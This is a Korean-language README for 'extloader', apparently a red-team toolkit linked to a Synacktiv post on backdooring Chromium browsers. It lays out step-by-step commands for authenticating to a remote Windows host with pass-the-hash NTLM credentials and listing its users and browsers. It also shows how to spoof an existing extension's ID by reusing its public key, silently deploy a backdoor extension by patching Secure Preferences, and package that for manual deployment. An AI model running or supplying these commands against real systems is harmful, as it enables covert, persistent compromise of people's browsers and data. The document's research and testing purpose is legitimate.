
크로미움 확장 프로그램 익스플로잇 툴킷
압축 해제된 Chromium 확장 프로그램을 관리하고 배포하기 위한 작은 툴킷입니다.
다음 블로그 게시물에서 자세한 내용을 확인하세요: https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways
pipx install .
extloader --help
Python 3.10+를 대상으로 한 격리된 설치를 위해
pipx를 사용하세요.
uv venv
source .venv/bin/activate
uv pip install -e .
-p/--password-H/--hash (LM:NT 형식 또는 NT만)-d/--domain (기본값: WORKGROUP)-t, --target: 대상 IP/호스트명-u, --username: 사용자 이름-i, --index: check 명령의 사용자 인덱스--debug: 디버그 로깅 활성화다음은 확장 프로그램을 배포하는 단계별 예시입니다:
# This will list available users and browsers
extloader check -t 192.168.1.100 -u admin -H aad3b435b51404eeaad3b435b51404ee:ntlm_hash -d corp.local
┏━━━━━━━━┳━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Index ┃ Browser ┃ User (SID) ┃
┡━━━━━━━━╇━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ 1 │ Chrome │ john.doe (S-1-5-21-4196007090-2879228606-3183820935-1122) │
│ 2 │ Microsoft Edge │ john.doe (S-1-5-21-4196007090-2879228606-3183820935-1122) │
└────────┴─────────────────┴──────────────────────────────────────────────────────────────┘
다른 머신에서 exploit을 실행할 때는 항상 먼저
check명령을 실행하여 컨텍스트(available_targets.json)를 새로 고치세요.
# Create a deterministic crx_id by adding a key to the manifest.json
extloader sign --extension ./my-extension
기존 확장 프로그램 ID를 스푸핑하려면 위 명령을 건너뛰고 매니페스트의
key를 모방하려는 확장 프로그램의 base64 공개 키로 설정하세요. 해당 키를 재사용하면 CRX ID가 변경되지 않습니다.
# Deploy to user index 1 (Chrome of john.doe)
extloader exploit -t 192.168.1.100 -u admin -H ntlm_hash -i 1 --extension ./my-extension
4.(대안) 수동 배포용 패키지 생성:
# Bundle the signed extension with the captured Preferences file
extloader package --prefs-file "Preferences" --extension-dir ./my-extension --target-dir "C:\\Users\\Public"
# This creates a ZIP containing:
# - Signed extension files
# - Updated preferences files
# - Deployment instructions
--prefs-file는 백업한 브라우저 프로필 환경설정 파일을 기대합니다 (Chrome/Edge는Secure Preferences로 저장하고, 다른 Chromium 브라우저는Preferences를 사용합니다). 로더는 이를 복사하고 패치한 다음, 수정된 버전과 수정되지 않은 버전을 모두 패키지에 포함합니다.
├── extension/
│ └── chrome-mv3/
├── preferences/
│ ├── brave/
│ ├── chrome/
│ ├── chromium/
[...]
└── info.json
# Restore original preferences for user index 1 (need check command to get the correct context)
extloader restore -t 192.168.1.100 -u admin -H ntlm_hash -i 1 -f ./backup_preferences
package 워크플로우 적용package 워크플로우 적용